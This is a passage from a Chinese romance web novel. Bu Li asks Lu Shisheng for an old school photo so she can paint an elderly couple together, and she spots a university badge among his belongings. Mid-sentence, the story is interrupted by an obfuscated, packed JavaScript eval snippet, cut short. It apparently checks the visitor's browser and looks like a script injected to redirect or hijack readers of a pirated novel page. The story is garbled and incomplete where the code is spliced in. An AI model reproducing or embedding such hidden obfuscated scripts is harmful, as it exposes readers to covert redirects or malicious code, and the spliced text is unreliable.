早上的望潮木工坊人不多,步梨进门的时候,崔胖正坐在前台嗑瓜子,见到她后眉飞色舞地道:“早啊,步梨姐。” “早,陆时生呢?”步梨进门就问。 崔胖指了指,“屋里呢。” 步梨点点头,离开的时候顺便把他手里的半袋瓜子占为己有,“别吃了,不是减肥吗?” 她走到里屋去,陆时生正在做早饭,步梨敲了敲门,问道:“陆叔不在家?” 陆时生转头,没料到她这么早会过来,惊讶了一瞬,答道:“哦,他这几天不在。” 步梨闻到了煎蛋的香气,走到跟前,果然看见金黄的煎蛋刚刚出锅,还是流心的,“我能拥有一个吗?” “有什么事吗?”陆时生问。 没得到同意的答案,步梨失落地坐到一边,说出了自己来这儿的本意。 “昨天吴奶奶说,陆叔是她的学生,那毕业的时候,有没有师生合影留念?” 陆时生手里的动作停了下,思考一会儿,说:“可能有吧,怎么了?” 步梨开心地站起身,打开手机给陆时生展示她今天早上的大作,“那能找到吗?你看看这个,画得怎么样?” 陆时生垂着眼皮看了两眼,淡淡问道:“你画的?” 步梨得意地点点头,“是不是可以用栩栩如生来形容?” 陆时生不可否认那幅画确实很生动,比照片的色彩还要艳丽几分。 “你是想找找程老师的照片,然后再给程老师和吴奶奶画一张合影吗?” 步梨惊叹道:“你真懂我,我记得吴奶奶在车上念叨了好几次想和她老伴儿一块拍照,毕竟生活了一辈子的人,到最后也没留下个合影,挺遗憾的,我想尝试帮她完成一下这个愿望。” 陆时生只听到了她的第一句话,有些不好意思地别过头,又拿了个鸡蛋放进锅里开始煎,步梨数了数,这是第三个,笑着道:“这是我的吧?” 陆时生故意逗她,“不能允许有人吃两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是陆叔年轻时候吗?很帅气啊,这是你妈妈?”她指着陆望潮身边笑容灿烂的女士问道。 陆时生模棱两可道:“应该是,我也没印象。” 步梨惊讶,“你连你妈妈都没印象了吗?” 陆时生点点头。 不仅没有印象,甚至看着有些陌生。 步梨沉默了一会儿,安慰道:“没事,这不是有照片吗,你多看看,以后慢慢的肯定会想起来的。” 她还在想着要怎么组织语言多安慰安慰,但抬眼见陆时生本人倒是没什么感情波动,他似乎已经习惯了这种记忆空白,只是机械地翻着相册,几乎到了相册的最后几张,陆时生才停下来,从里面抽出一张大合影。 照片最上面写着“XXXX年花溪镇小学四五六年级师生合影留念”,“这个就是程老爷子,这个是吴奶奶。” 步梨看完说道:“程老师年轻时还挺帅气的。” 陆时生把照片交到步梨手里,“给,把年轻帅气的程老爷子和年轻美丽的吴奶奶还原出来,这个艰巨的任务就交给你了。” 步梨郑重接过,中二道:“保证完成任务。” 她看了眼照片,目光流转间撇到陆时生正要合上的箱子,里面有个她很熟悉的物件。 “诶?你怎么会有这个?” 她看见的是一个校徽,红色的圆形框是抽象派的大树和展翅飞翔的鹰,代表着向上与求知。 东岛大学的校徽——步梨的母校。